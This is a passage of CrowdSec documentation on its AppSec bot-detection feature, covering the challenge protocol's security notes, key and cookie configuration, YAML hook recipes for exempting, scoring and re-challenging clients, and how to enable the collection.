| `403`, any other action | Apply that action (`ban`, `captcha`, …). |
| `403` with an empty body | `ban`. |
| `403` with invalid JSON | `ban`. |
| `401`, `500`, or an unexpected status | The component's configured AppSec failure behaviour (`APPSEC_FAILURE_ACTION`). |

## Security notes

- The client IP sent in `X-Crowdsec-Appsec-Ip` must come from a source the component itself controls. If it is read from a forwarding header, that header must be overwritten by the proxy on every request — a client-supplied value here decides allowlisting and country rules.
- Emit `Set-Cookie` as repeated headers, and forward the browser's `Cookie` header untouched.
- Do not leak the AppSec JSON envelope to the browser on a block: return a plain `403` instead.
- The internal challenge paths must be terminated by the remediation component. If they reach the origin, the challenge is bypassable by simply requesting them.

## See also

- [How it works](how_it_works.md) — the challenge exchange from the visitor's point of view.
- [WAF / Bouncer communication protocol](../protocol.md) — headers, status codes and the base envelope.
- [Bot detection configuration](configuration.md) — master secret, key rotation and cookie TTL.
- [Hooks reference](hooks.md) — `SendChallenge()`, `GrantChallengeCookie()`, `RejectSubmission()`.

---

## File: crowdsec-docs/docs/appsec/bot_detection/configuration.md

---
id: configuration
title: "Bot Detection Configuration"
sidebar_label: "Bot detection configuration"
sidebar_position: 2
---

This page covers the configuration of the bot detection feature: the signing keys and their rotation, cookie lifetime, and JavaScript bundle obfuscation.

## Where to set these values

Bot-detection settings live under a top-level `challenge:` block inside an appsec-config YAML file — the same kind of file documented in [AppSec configuration syntax](../configuration.md). Multiple appsec-configs loaded by your AppSec acquisition combine field by field, so you can keep the upstream collection's appsec-config unchanged and ship a small overlay of your own that only sets what you care about. The mechanics of loading and merging appsec-configs are covered in [AppSec configuration syntax](../configuration.md#configuration-file-format).

A minimal overlay looks like this — every field below is optional, see the rest of this page for what each one does:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-overlay.yaml
name: mycorp/appsec-bot-challenge-overlay

challenge:
  master_secret: "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
  crypto_obfuscation_pool_size: 3
```

Reload CrowdSec for changes to take effect:

```bash
sudo systemctl reload crowdsec
```

## Key management

The challenge mechanism is built on a long-lived **master secret**, from which the AppSec component derives two independent key families: one rotated on a schedule that signs challenge tickets and validates proof-of-work, and one (static for the lifetime of the master secret) that seals the success cookie.

| Key | Default | Operational meaning |
|---|---|---|
| `master_secret` | random, ephemeral (single-instance only) | Long-lived secret used to derive every other key. Hex (≥64 chars, preferred) or passphrase (≥32 bytes of UTF-8). **Required** when running more than one AppSec instance — all instances must share the same value or cookies issued by one are rejected by another. |
| `key_rotation_interval` | `5m` | How often the per-epoch signing key advances. All instances in a distributed setup must agree on this value to derive identical per-epoch keys. Minimum 30s. |
| `max_live_epochs` | `3` | How many past epochs (in addition to the current one) the AppSec component still accepts. Bump this if a meaningful share of your clients need more than `(max_live_epochs + 1) × key_rotation_interval` to solve and submit the challenge (slow mobile networks, long round-trips). |
| `cookie_ttl` | `12h` | How long a successful-challenge cookie stays valid. Decoupled from key rotation — the cookie carries its own `not_after` timestamp sealed under the master cookie key, so rotating the per-epoch sign key does **not** invalidate already-issued cookies. |

### Single-instance deployments

Leaving `master_secret` unset is fine: the AppSec component generates a 32-byte random secret at startup and logs a warning. Every restart invalidates all outstanding challenge cookies, which is acceptable for a single host.

### Multi-instance / HA deployments

Set `master_secret` and `key_rotation_interval` to the **same value** on every AppSec instance. If the values differ, a cookie issued by instance A will be rejected by instance B and clients will be re-challenged on every request that lands on a different node — a noticeable user-experience regression and a load amplifier.

To rotate the master secret safely:

1. Generate a new secret.
2. Roll it out to **every** AppSec instance within one `cookie_ttl` window.
3. Restart each instance after it has the new value.

During the rollout, clients holding cookies sealed under the old secret will be re-challenged once on instances that already have the new secret — there is no way to keep both valid simultaneously.

### Generating a secret

The recommended form is a 32-byte hex string:

```bash
openssl rand -hex 32
# e.g. 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
```

Passphrases are accepted too, but must be at least 32 bytes of UTF-8. An invalid value (too short, non-hex characters in a hex-looking string) causes CrowdSec to fail loading the config.

## JS obfuscation

During a challenge the AppSec component serves the client three pieces of JavaScript, and only one of them is worth tuning:

- The **fingerprinting library** — the open-source [fpscanner](https://github.com/antoinevastel/fpscanner) by Antoine Vastel, which collects the device signals. It is served **unobfuscated**, as public and cacheable code on its own `<script>` tag. This is deliberate: fpscanner is not secret, there is nothing to hide in it, and there is no knob to obfuscate it.
- The **crypto/glue bundle** — the small block that runs the proof-of-work, XORs the fingerprint, and posts the submission.
- The **per-epoch signing-key module** — the only sensitive artefact, because it carries the live signing key. It is re-obfuscated **at runtime**, and you can control how many distinct variants are kept per epoch.

Code running inside an attacker-controlled browser can always be reverse-engineered eventually; obfuscation buys time and cost, not invisibility.

| Key | Default | What it controls |
|---|---|---|
| `crypto_obfuscation_pool_size` | `1` |  Number of distinct obfuscations of the per-epoch sign-key module kept per live epoch. Each variant costs ~5 s of CPU per rotation. |

## Advanced tuning

These `challenge:` fields are safety backstops sized for correctness and DoS resistance. Leave them at their defaults unless you have a specific, measured reason to change them.

| Key | Default | What it controls |
|---|---|---|
| `max_cookie_size` | `4096` | Upper bound, in bytes, on the sealed challenge cookie — enforced on both seal and open. It caps the memory allocated from the attacker-supplied fingerprint envelope, closing an over-allocation DoS. `4096` is the per-cookie size browsers guarantee; raise it only if a non-browser client you control tolerates larger cookies. |
| `spent_set_max_entries` | `1000000` | Maximum number of entries in the replay-protection set that stops a solved challenge from being submitted twice. A deep DoS backstop — steady-state usage stays far below it. |
| `log_level` | inherits global | Log verbosity for the challenge runtime alone, independent of the global CrowdSec log level (`debug`, `info`, `warning`, `error`). Lets you turn up challenge diagnostics without making the rest of CrowdSec noisy. |


## DNS cache

Identity-verified bots (see [Known bots it lets through](whats_included.md#known-bots-it-lets-through)) are confirmed with a forward-confirmed reverse-DNS lookup, and results are kept in cache. DNS cache configuration is global engine configuration under `crowdsec_service`. See [`dns_cache`](/configuration/crowdsec_configuration.md#dns_cache) in the CrowdSec configuration reference to tune its TTL or size.

## Applying changes

Most fields take effect on the next CrowdSec reload:

```bash
sudo systemctl reload crowdsec
```

Specifically:

- Changing `master_secret` **invalidates all in-flight challenges** (clients mid-challenge will be re-challenged) and **invalidates every already-issued cookie**. Plan a rotation as described in [Multi-instance / HA deployments](#multi-instance--ha-deployments).
- Changing `key_rotation_interval` or `max_live_epochs` invalidates in-flight challenges but does **not** invalidate already-issued cookies — they remain valid until their own `not_after` timestamp.
- Changing `cookie_ttl` affects only cookies issued **after** the reload; cookies already in the wild keep their original lifetime.
- Changing `crypto_obfuscation_pool_size` takes effect on the next key-rotation tick.

## Verification

Check that the AppSec component picked up the config:

```bash
sudo cscli metrics show appsec
```

Hit a protected endpoint with a clean client and confirm the challenge HTML is served. Tail the CrowdSec log:

```bash
sudo tail -F /var/log/crowdsec.log | grep -E "challenge submission|on_challenge_submit"
```

You should see lines like:

```
level=info msg="challenge submission accepted" source=198.51.100.42 fsid=FS1_xyz is_bot=false allowlisted=false
level=info msg="on_challenge_submit rejected" source=203.0.113.7 reason=fast-bot-detection signals="[cdp]"
```

If you don't see any `challenge submission` lines at all after a reload, double-check that:

- The new appsec-config is listed in your AppSec datasource (`appsec_configs:`) — see [Where to set these values](#where-to-set-these-values).
- The bouncer is forwarding `/crowdsec-internal/challenge/*` paths unchanged — see [Internal challenge endpoints](challenge_protocol.md#internal-challenge-endpoints).

---

## File: crowdsec-docs/docs/appsec/bot_detection/customization.md

---
id: customization
title: "Bot Detection Customization & Recipes"
sidebar_label: "Customization & recipes"
sidebar_position: 4
---

## Recipes

Every recipe on this page is a **complete overlay appsec-config** — a standalone file you drop next to the shipped configs, not an edit to them. Overlays merge field by field with the collection's config (hooks are appended, scalar options are overridden), so you keep the upstream files untouched and add a small file of your own that contributes only the hooks it needs. The merge mechanics are covered in [Where to set these values](configuration.md#where-to-set-these-values) and [AppSec configuration syntax](../configuration.md#configuration-file-format).

To deploy any recipe below:

1. **Save the file** to `/etc/crowdsec/appsec-configs/` — the filename is free, the `name:` inside is what identifies the config.
2. **Load it from your acquisition.** Add its `name:` to `appsec_configs:` in your AppSec datasource (typically `/etc/crowdsec/acquis.d/appsec.yaml`). A custom name in your own namespace is **not** matched by the `crowdsecurity/appsec-bot-*` wildcard from [Enable bot detection](enable.md#install-the-collection), so list it explicitly, before the wildcard:

   ```yaml
   source: appsec
   listen_addr: 127.0.0.1:7422
   appsec_configs:
     - crowdsecurity/appsec-default
     - mycorp/appsec-bot-challenge-checkout-only # your overlay, by name
     - crowdsecurity/appsec-bot-*
   labels:
     type: appsec
   ```

   Confirm the name CrowdSec sees with `cscli appsec-configs list`.
3. **Reload:** `sudo systemctl reload crowdsec`.

:::note Which block hooks go under
The challenge runs in the **in-band** phase, so bot-detection hooks live under an `inband:` block — `pre_eval`, `post_eval`, `on_challenge`, and `on_challenge_submit`. This matches the shipped `appsec-bot-challenge-scoring` config. Each phase exposes a different set of helpers (for example `SendChallenge()` is available in `post_eval` but not `pre_eval`; `SetChallengeDifficulty()` is not available in `on_challenge_submit`); see the [Hooks reference](hooks.md) for the per-hook helper tables.
:::

### Restrict the challenge to a specific path

By default the appsec-config shipped by the collection challenges every request except [known bots](hooks.md#known-bots) and well-known paths. To narrow the challenge to one section of your application, don't edit the default config: add a `pre_eval` hook that exempts every request **outside** the path you care about.

```yaml
# /etc/crowdsec/appsec-configs/mycorp-challenge-checkout-only.yaml
name: mycorp/appsec-bot-challenge-checkout-only
inband:
  pre_eval:
    - filter: '!(req.URL.Path startsWith "/checkout/")'
      apply:
        - ExemptFromChallenge("outside-checkout")
```

`ExemptFromChallenge(reason)` flags the request as exempt, so `SendChallenge()` becomes a no-op for it and no challenge is served. Because the exemption is additive, the shipped config stays untouched — only `/checkout/` is left to be challenged.

:::note
`ExemptFromChallenge(reason)` mints no cookie, so the exemption is re-evaluated on every request. To let a trusted client through for a whole session instead, use `GrantChallengeCookie(...)` — see [ExemptFromChallenge vs GrantChallengeCookie](hooks.md#exemptfromchallenge-vs-grantchallengecookie).
:::

### Restrict the challenge to specific paths on a given host (FQDN)

If a single AppSec component fronts several virtual hosts, you usually want the challenge on only part of the surface — say, only `/checkout` and `/cart`, and only on `foobar.com`. The Host the client targeted is available in every hook as `req.Host`, so add a `pre_eval` that exempts everything **outside** the `(host, path)` set you want to protect:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-challenge-foobar-surface.yaml
name: mycorp/appsec-bot-challenge-foobar-surface
inband:
  pre_eval:
    # Challenge only /checkout and /cart on foobar.com. Every other path, and
    # every other vhost behind this AppSec component, is exempted.
    - filter: '!(req.Host == "foobar.com" && (req.URL.Path startsWith "/checkout" || req.URL.Path startsWith "/cart"))'
      apply:
        - ExemptFromChallenge("outside-foobar-surface")
```

To protect different paths on different hosts, split the logic into one `pre_eval` block per host rather than a single large condition. Exemptions are additive and independent, so each block reads on its own and the order doesn't matter — whatever is left un-exempted is what gets challenged:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-challenge-protected-surface.yaml
name: mycorp/appsec-bot-challenge-protected-surface
inband:
  pre_eval:
    # Any host we don't explicitly protect below: never challenge.
    - filter: req.Host != "foobar.com" && req.Host != "api.foobar.com"
      apply:
        - ExemptFromChallenge("unprotected-host")

    # On foobar.com, challenge only the checkout funnel.
    - filter: req.Host == "foobar.com" && !(req.URL.Path startsWith "/checkout" || req.URL.Path startsWith "/cart")
      apply:
        - ExemptFromChallenge("foobar-outside-funnel")

    # On api.foobar.com, challenge only the login endpoint.
    - filter: req.Host == "api.foobar.com" && !(req.URL.Path startsWith "/v1/login")
      apply:
        - ExemptFromChallenge("api-outside-login")
```

Adding another protected host is then just another block, and you can widen the "unprotected hosts" guard to match.

The inverse — challenge everything **except** one host, e.g. a status page or a webhook vhost that will never solve JavaScript — is a single positive match:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-challenge-exempt-status-host.yaml
name: mycorp/appsec-bot-challenge-exempt-status-host
inband:
  pre_eval:
    - filter: req.Host == "status.foobar.com"
      apply:
        - ExemptFromChallenge("status-vhost")
```

:::note Matching hosts correctly
`req.Host` is the Host header as the client sent it. Two things to watch:

- **Ports.** Some proxies forward `foobar.com:443`. If yours does, either match with `req.Host startsWith "foobar.com"` or normalize the Host at the proxy.
- **Subdomains.** `==` matches one exact host. To cover a whole domain, combine an exact match with a suffix match: `req.Host == "foobar.com" || req.Host endsWith ".foobar.com"` — the leading dot stops it from also matching `notfoobar.com`.
:::

### Tune the challenge difficulty per route

The proof-of-work difficulty is `medium` by default. You can raise it for routes under active abuse, or lower it for latency-sensitive or mobile-heavy sections, by calling `SetChallengeDifficulty(level)` in `pre_eval` — the level you set is picked up when the shipped config issues the challenge later in the request. See [Challenge difficulty levels](hooks.md#challenge-difficulty-levels) for the available levels and their solve times.

```yaml
# /etc/crowdsec/appsec-configs/mycorp-challenge-difficulty.yaml
name: mycorp/appsec-bot-challenge-difficulty
inband:
  pre_eval:
    # Costly PoW on the login/auth surface, where credential-stuffing lives.
    - filter: req.URL.Path startsWith "/login" || req.URL.Path startsWith "/auth"
      apply:
        - SetChallengeDifficulty("high")
    # Cheap PoW on the mobile API, where clients are slower and latency hurts.
    - filter: req.URL.Path startsWith "/m/"
      apply:
        - SetChallengeDifficulty("low")
```

:::note
`SetChallengeDifficulty()` is available in `pre_eval`, `post_eval`, and `on_challenge`, but **not** in `on_challenge_submit` (by then the challenge has already been solved). To make an already-passed client redo a harder challenge, set the difficulty and call `SendChallenge()` from `on_challenge` — see [Re-challenge a returning client whose fingerprint looks off](#re-challenge-a-returning-client-whose-fingerprint-looks-off).
:::

### Allowlist an internal probe by header

Useful for synthetic monitoring or internal health checks that don't run JavaScript. Which helper to use depends on whether the probe can carry a cookie. See [ExemptFromChallenge vs GrantChallengeCookie](hooks.md#exemptfromchallenge-vs-grantchallengecookie) for the full distinction.

**Session allow (cookie).** If the probe is a cookie-capable client that stores and re-sends `__crowdsec_challenge`, mint a session cookie so it's waved through for the whole window without re-checking the header each time:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-allow-probe-session.yaml
name: mycorp/appsec-bot-challenge-allow-probe-session
inband:
  pre_eval:
    - filter: req.Header.Get("X-Internal-Probe") == "my-shared-secret"
      apply:
        - GrantChallengeCookie("internal-probe", "24h")
```

**Per-request allow (no cookie).** If the probe can't hold a cookie — a plain `curl` health check, most uptime monitors — exempt the request itself instead. This mints no cookie, so the header is re-checked on every request:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-allow-probe-request.yaml
name: mycorp/appsec-bot-challenge-allow-probe-request
inband:
  pre_eval:
    - filter: req.Header.Get("X-Internal-Probe") == "my-shared-secret"
      apply:
        - ExemptFromChallenge("internal-probe")
```

:::warning
Both variants are purely technical examples and shouldn't be used as-is. If `my-shared-secret` ever leaks, anyone who learns it can present that header and bypass bot detection entirely. Prefer pairing the header check with a source-IP filter, e.g. `req.Header.Get("X-Internal-Probe") == "my-shared-secret" && req.RemoteAddr startsWith "10."`.
:::

### Allowlist by IPs

If the trusted client has a stable source IP or range, a native [CrowdSec allowlist](/local_api/allowlists.md) is simpler and safer than a shared-secret header: an allowlisted IP bypasses AppSec entirely, so it is never challenged and never issued a cookie. Allowlists are keyed on source IP/range and managed centrally at the LAPI (`cscli allowlists`), so reach for the hook recipes on this page only when the client can't be pinned to an IP.

### Authoring your own known-bot files

`MatchKnownBot()` matches a request against the bot-description files you name, under `<datadir>/legit_bots/` (typically `/var/lib/crowdsec/data/legit_bots/`). The shipped exclude-configs (see [Known bots it lets through](whats_included.md#known-bots-it-lets-through)) keep the built-in definitions up to date; to recognise a bot of your own, ship a custom appsec-config that both calls `MatchKnownBot(..., "legit_bots/mybot.json")` and declares that file in its `data:` section:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-known-bot.yaml
name: mycorp/appsec-bot-challenge-known-bot
inband:
  pre_eval:
    - filter: MatchKnownBot(req.RemoteAddr, req.UserAgent(), req.URL.Path, "legit_bots/mybot.json")
      apply:
        - ExemptFromChallenge("mybot")
data:
  - source_url: https://example.com/mybot.json
    dest_file: legit_bots/mybot.json
    type: bots
```

Each file is one or more newline-delimited JSON objects with these fields:

| Field        | Type        | Required | Meaning                                                                                                  |
| ------------ | ----------- | -------- | ------------------------------------------------------------------------------------------------------- |
| `name`       | string      | yes      | Identifier for the bot, used in logs.                                                                    |
| `user_agent` | string      | no       | Case-insensitive regex the request User-Agent must match.                                                |
| `paths`      | `[]string`  | no       | Regexes; the request path must match at least one if present.                                            |
| `ips`        | `[]string`  | no\*     | Exact source IPs (IPv4 or IPv6).                                                                         |
| `ranges`     | `[]string`  | no\*     | Source CIDR ranges.                                                                                      |
| `rdns`       | `[]string`  | no\*     | Regexes matched against the **forward-confirmed** reverse-DNS name of the source IP. Anchor them (e.g. `\\.googlebot\\.com$`) to avoid false positives. |

\* At least one of `ips`, `ranges`, or `rdns` is required — a definition that only matches on `user_agent` is rejected at load time, since a User-Agent alone is trivial to spoof.

A request is recognised as a known bot when:

```
(user_agent matches  AND  at least one path matches)  AND  (exact IP  OR  CIDR range  OR  FCrDNS)
```

The helper is **fail-closed**: an unparseable address, a DNS failure, or an unknown file means "not a known bot", never an error, so the request falls through to the normal challenge.

Example file:

```json
{"name":"googlebot","user_agent":"googlebot","rdns":["(^|\\.)googlebot\\.com$","\\.google\\.com$"]}
{"name":"uptimerobot","user_agent":"uptimerobot","paths":["^/health(/|$)","^/status$"],"ranges":["69.162.124.224/28"],"ips":["216.144.250.150"]}
{"name":"internal-scanner","ips":["10.1.2.3","2001:db8::42"]}
```

The reverse-DNS confirmation used by `rdns` goes through the engine's DNS cache; see [`dns_cache`](/configuration/crowdsec_configuration.md#dns_cache) if you need to tune its TTL or size.

### Block on a weak signal the default ignores

The collection scores weak signals but weights them low on purpose, so none can cross the threshold alone. `accept_language` is worth 15 points against a default threshold of 75. It fires when the `Accept-Language` header disagrees with the browser's `navigator.language`: legitimate for some multilingual or proxied setups, unusual for a normal browser. If your traffic makes it worth enforcing, reject on it directly:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-reject-accept-language.yaml
name: mycorp/appsec-bot-challenge-reject-accept-language
inband:
  on_challenge_submit:
    - filter: EvaluateMismatches().Has("accept_language")
      apply:
        - RejectSubmission("accept-language mismatch")
```

:::tip
Prefer `EvaluateMismatches().Has("...")` over the atomic helper for a signal that already has a reason key. The report is computed once per request and cached, so a second `.Has()` is free, and evaluating it bumps the per-signal Prometheus counters. Calling `fingerprint.AcceptLanguageMismatch(req)` directly runs the same check but skips that bookkeeping. Reason keys are also what `score_reasons` reports, so your rule and your alerts use the same names.
:::

:::warning
Weak signals are too specific to be part of default rules. Validate one against your real traffic before you enforce it: [dump the fingerprints](#dump-fingerprints-for-offline-analysis) it would have rejected, or start by alerting instead of rejecting.
:::

### Re-weight a signal for your traffic

Rejecting outright on a weak signal is blunt. Adding points to it is usually better, because the signal then only matters when it stacks with something else.

Load your config **after** `crowdsecurity/appsec-bot-challenge-scoring` and **before** the threshold config. Scores accumulate, so this adds to what the shipped engine already gave:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-reweight.yaml
name: mycorp/appsec-bot-challenge-reweight
inband:
  on_challenge_submit:
    # Our users are never on a VPN, so a UTC timezone is worth more than the
    # default 15 points. 15 + 45 = 60, still short of 75 on its own.
    - filter: EvaluateMismatches().Has("utc_timezone")
      apply:
        - AddRequestScore(45, "utc_timezone_mycorp")
    # Our mobile app sets its own UA, so ua_mobile is expected here. Cancel it.
    - filter: EvaluateMismatches().Has("ua_mobile")
      apply:
        - AddRequestScore(-15, "ua_mobile_expected")
```

Use a distinct reason string rather than reusing the shipped one, so the breakdown in `score_reasons` still tells you which config contributed what.

### Score on something only you know

`AddRequestScore` takes any reason you like, so you can fold application knowledge into the same total the threshold reads:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-app-signals.yaml
name: mycorp/appsec-bot-challenge-app-signals
inband:
  on_challenge_submit:
    # Nobody reaches checkout without having browsed first, so a checkout hit
    # with no referer is suspicious enough to push a borderline client over.
    - filter: req.URL.Path startsWith "/checkout" && req.Header.Get("Referer") == ""
      apply:
        - AddRequestScore(30, "checkout_no_referer")
```

The reason shows up in the alert exactly like a built-in one, which keeps rejections explainable.

### Reject only when several soft signals stack up

A single soft signal is noisy; several firing at once on the same client is a much stronger tell. [`EvaluateMismatches()`](hooks.md#the-mismatchreport-object) aggregates every library signal **and** the custom mismatch checks into one severity-scored report, so you can require a threshold instead of trusting any one check. This rejects submissions carrying two or more distinct mismatch signals while a lone flaky check goes through:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-reject-stacked-mismatches.yaml
name: mycorp/appsec-bot-challenge-reject-stacked-mismatches
inband:
  on_challenge_submit:
    - filter: EvaluateMismatches().Count() >= 2
      apply:
        - RejectSubmission("multiple mismatch signals")
```

To weight by severity instead of raw count — e.g. reject on any single high-severity signal, but require the report to be non-trivial otherwise — branch on `.High()` / `.Medium()`:

```yaml
inband:
  on_challenge_submit:
    - filter: EvaluateMismatches().High() >= 1
      apply:
        - RejectSubmission("high-severity mismatch")
```

### Re-challenge a returning client whose fingerprint looks off

The two recipes above act at submission time. The `on_challenge` hook is the counterpart for clients that **already hold a valid cookie**: it runs on every subsequent request and still sees the decoded `fingerprint`, so it's where you re-verify a returning client. If the mismatch report now looks suspicious — a sign the cookie may have been lifted and replayed from a different client — force a fresh, harder challenge:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-rechallenge-on-mismatch.yaml
name: mycorp/appsec-bot-challenge-rechallenge-on-mismatch
inband:
  on_challenge:
    - filter: EvaluateMismatches().High() >= 1
      apply:
        - SetChallengeDifficulty("high")
        - SendChallenge()
```

The cookie records the difficulty the client solved: `medium` by default, or whatever `SetChallengeDifficulty()` set when the challenge was issued. `SendChallenge()` does not re-challenge a client whose cookie already covers the target: if the cookie's difficulty is greater than or equal to the target, it does nothing. Called alone on a returning client, it is a no-op.

In `on_challenge`, `SetChallengeDifficulty("high")` raises the target for this request only (it doesn't change the difficulty for other clients), and must run before `SendChallenge()`. A client whose cookie proved `medium` is then re-challenged with a costlier proof-of-work. Both helpers are available in `on_challenge` (but not in `on_challenge_submit`).

This has a limit: a client that already solved at `high` (for example on a route where you raised the difficulty with the [per-route recipe](#tune-the-challenge-difficulty-per-route)) is not re-challenged. `impossible` won't help either, since it's effectively a block. For that case, use `DropRequest()`, as in the next recipe.

### Block a returning client outright on a strong signal

When the signal is strong enough that you don't want to give the client another chance, block the request instead of re-challenging. `DropRequest(reason)` (available in `on_challenge`) blocks immediately using the config's default remediation:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-drop-automation.yaml
name: mycorp/appsec-bot-challenge-drop-automation
inband:
  on_challenge:
    - filter: fingerprint.HasAutomationSignal()
      apply:
        - DropRequest("automation signal on cookie-bearing client")
```

`fingerprint.HasAutomationSignal()` is true when a webdriver / Selenium / CDP / Playwright / bot-UA indicator was seen — see [Verdict and signal helpers](hooks.md#verdict-and-signal-helpers) for the full set of roll-ups you can branch on.

### Dump fingerprints for offline analysis

When you're tuning your own rules and want to see exactly what the challenge measured about a client, `DumpFingerprint(label)` writes the decoded fingerprint (plus request context) as a JSONL line to `<datadir>/fingerprint_dumps/crowdsec_fp_dump_<label>.jsonl`. No extra configuration is needed. For example, to capture everything the fast-bot-detection library flagged while still rejecting it:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-dump-suspected-automation.yaml
name: mycorp/appsec-bot-challenge-dump-suspected-automation
inband:
  on_challenge_submit:
    - filter: "fingerprint.IsBot()"
      apply:
        - DumpFingerprint("suspected-automation")
```

Load it before the threshold config: `RejectSubmission()` halts the remaining `on_challenge_submit` rules, so a dump placed after it never runs.

See [DumpFingerprint](hooks.md#dumpfingerprint) in the Hooks reference for the file format and behavior.

## Using the bot signal in appsec-configs and scenarios

The information the challenge collects about a client is not locked inside the bot-detection collection — it's surfaced as a regular CrowdSec event and made available to both appsec-config hooks and scenario expressions. That means you can react to a "this client is automation" verdict anywhere in your CrowdSec stack, not just inside the dedicated `on_challenge_submit` hook.

### From an appsec-config

Inside `on_challenge` and `on_challenge_submit` hooks, the in-flight challenge exposes a `fingerprint` object. The object exposes both high-level helpers such as `fingerprint.IsBot()` or `BotSignals()`, and the individual weak signals. See [Hooks reference](hooks.md#the-fingerprint-object) for the full list of properties.

Example — reject only clients with multiple, independent library signals so you don't punish a flaky headless screenshot bot for tripping a single check:

```yaml
# /etc/crowdsec/appsec-configs/mycorp-reject-multi-signal.yaml
name: mycorp/appsec-bot-challenge-reject-multi-signal
inband:
  on_challenge_submit:
    - filter: fingerprint.IsBot() && fingerprint.BotSignalCount() >= 2
      apply:
        - RejectSubmission("multiple bot signals")
```

### From a scenario

Every step of the challenge lifecycle (requested / submitted / failed / rejected / solved) emits a CrowdSec event with `source: crowdsec-appsec-challenge`, distinct from `crowdsec-appsec` events emitted by WAF rule matches. The most important fingerprint signals are also flattened into `evt.Parsed` so scenario `filter` expressions can match on them cheaply, and the full fingerprint object is available under `evt.Unmarshaled.fingerprint` for richer queries.

Flat fields exposed in `evt.Parsed`:

| Field                                  | Values                              | Meaning                                                                                                   |
| -------------------------------------- | ----------------------------------- | --------------------------------------------------------------------------------------------------------- |
| `source`                               | `crowdsec-appsec-challenge`         | Distinguishes challenge events from WAF rule events.                                                      |
| `challenge_event`                      | `requested` / `submitted` / `failed` / `rejected` / `solved` | Which step of the lifecycle produced the event. `failed` is a crypto/PoW failure; `rejected` is an `on_challenge_submit` hook calling `RejectSubmission(reason)`. |
| `challenge_difficulty`                 | integer string                      | The PoW difficulty applied to this moment.                                                                |
| `challenge_fail_reason`                | string (on `failed` or `rejected`)  | On `failed`, the raw protocol error (`invalid HMAC`, `invalid proof-of-work`, …). On `rejected`, the operator-supplied reason from `RejectSubmission()`. |
| `fsid`                                 | string                              | Per-fingerprint identifier. Stable across the cookie's lifetime — useful for `groupby`.                   |
| `fingerprint_bot`                      | `"true"` / `"false"`                | Set when a fingerprint was attached to the event.                                                         |
| `fingerprint_allowlisted`              | `"true"` / `"false"`                | Whether this cookie was issued via `GrantChallengeCookie(...)` rather than a real submission.             |
| `fingerprint_allowlist_reason`         | string                              | The reason argument passed to `GrantChallengeCookie(...)` (only set when allowlisted).                    |
| `platform`                             | string                              | The platform the fingerprint reported (e.g. `Linux`, `Windows`), when a fingerprint was attached.         |
| `user_agent`                           | string                              | The client's User-Agent at the time of the event.                                                         |
| `request_score`                        | integer string                      | The total request score, when a scoring config ran.                                                       |
| `request_score_reasons`                | string                              | The per-signal breakdown, `cdp=100,utc_timezone=15`. Empty when no scoring config ran.                     |

This makes it straightforward to write your own scenarios on top of the built-in ones. Save the scenario to `/etc/crowdsec/scenarios/` and reload. For example, alerting on any client the challenge identified as automation:

```yaml
# /etc/crowdsec/scenarios/mycorp-appsec-bot-detected.yaml
type: leaky
name: mycorp/appsec-bot-detected
description: "Alert on a client the AppSec challenge identified as a bot"
filter: |
  evt.Parsed.source == "crowdsec-appsec-challenge" &&
  evt.Parsed.fingerprint_bot == "true"
groupby: evt.Meta.source_ip
capacity: 1
leakspeed: 1m
labels:
  type: appsec
  service: bot-detection
```

Or, more targeted, alerting on repeat offenders that fail submission for the same automation reason:

```yaml
# /etc/crowdsec/scenarios/mycorp-appsec-automation-repeat.yaml
type: leaky
name: mycorp/appsec-automation-repeat
description: "Repeated challenge rejections on a decisive automation signal from one IP"
filter: |
  evt.Parsed.source == "crowdsec-appsec-challenge" &&
  evt.Parsed.challenge_event == "rejected" &&
  evt.Parsed.request_score_reasons contains "cdp="
groupby: evt.Meta.source_ip
capacity: 5
leakspeed: 10m
labels:
  type: appsec
  service: bot-detection
```

For deeper queries that the flat fields don't cover, `evt.Unmarshaled.fingerprint` exposes the same helper methods as the in-hook `fingerprint` object:

```yaml
filter: |
  evt.Parsed.source == "crowdsec-appsec-challenge" &&
  evt.Unmarshaled.fingerprint.HasAutomationSignal()
```

---

## File: crowdsec-docs/docs/appsec/bot_detection/enable.md

---
id: enable
title: "Enable Bot Detection"
sidebar_label: "Enable bot detection"
sidebar_position: 2
---

This page covers turning bot detection on: installing the collection, making sure your AppSec acquisition loads it, and verifying that the challenge is served. Check the [prerequisites](intro.md#prerequisites) first.

:::warning

Check that your bouncer supports bot detection before going further, see the [list of compatible bouncers](intro.md#prerequisites). Enabling it behind a bouncer that does not support it leads to unexpected behavior, most likely silently refusing every client.

:::

## Install the collection

Install the collection that bundles everything (appsec-configs + scenarios + parsers):

```bash
sudo cscli collections install crowdsecurity/appsec-bot-challenge
```

Then make sure the bundled appsec-configs are actually loaded by your AppSec acquisition. Open the AppSec datasource file (typically `/etc/crowdsec/acquis.d/appsec.yaml`):

```yaml
source: appsec
listen_addr: 127.0.0.1:7422
appsec_configs:
  - crowdsecurity/appsec-default
  - crowdsecurity/appsec-bot-*
labels:
  type: appsec
```

The wildcard matches **installed** appsec-configs only, so it picks up exactly what the collection gave you: the scoring engine, its threshold, and every exclusion config. A broader `crowdsecurity/*` works too.

:::warning

Install one bundle, not several. `appsec-bot-challenge`, `-strict` and `-permissive` each ship a different threshold config, and a wildcard loads every one you have installed. Their rejection rules then stack and the strictest threshold wins, silently overriding your choice. If you switch bundles, remove the old one rather than installing on top.

:::

The exclusion configs cover verified search-engine, AI, social and monitoring bots plus well-known paths. See [Known bots it lets through](whats_included.md#known-bots-it-lets-through) and [Path-exclusion configs](whats_included.md#path-exclusion-configs) for what each one covers. If some don't apply to your app, list the configs you want by name instead of using the wildcard.

Reload CrowdSec for the change to take effect:

```bash
sudo systemctl reload crowdsec
```

## Choosing a threshold

The collection installed above rejects a submission scoring 75 or more. To be stricter or more forgiving, install a different bundle and point the acquisition at its threshold config:

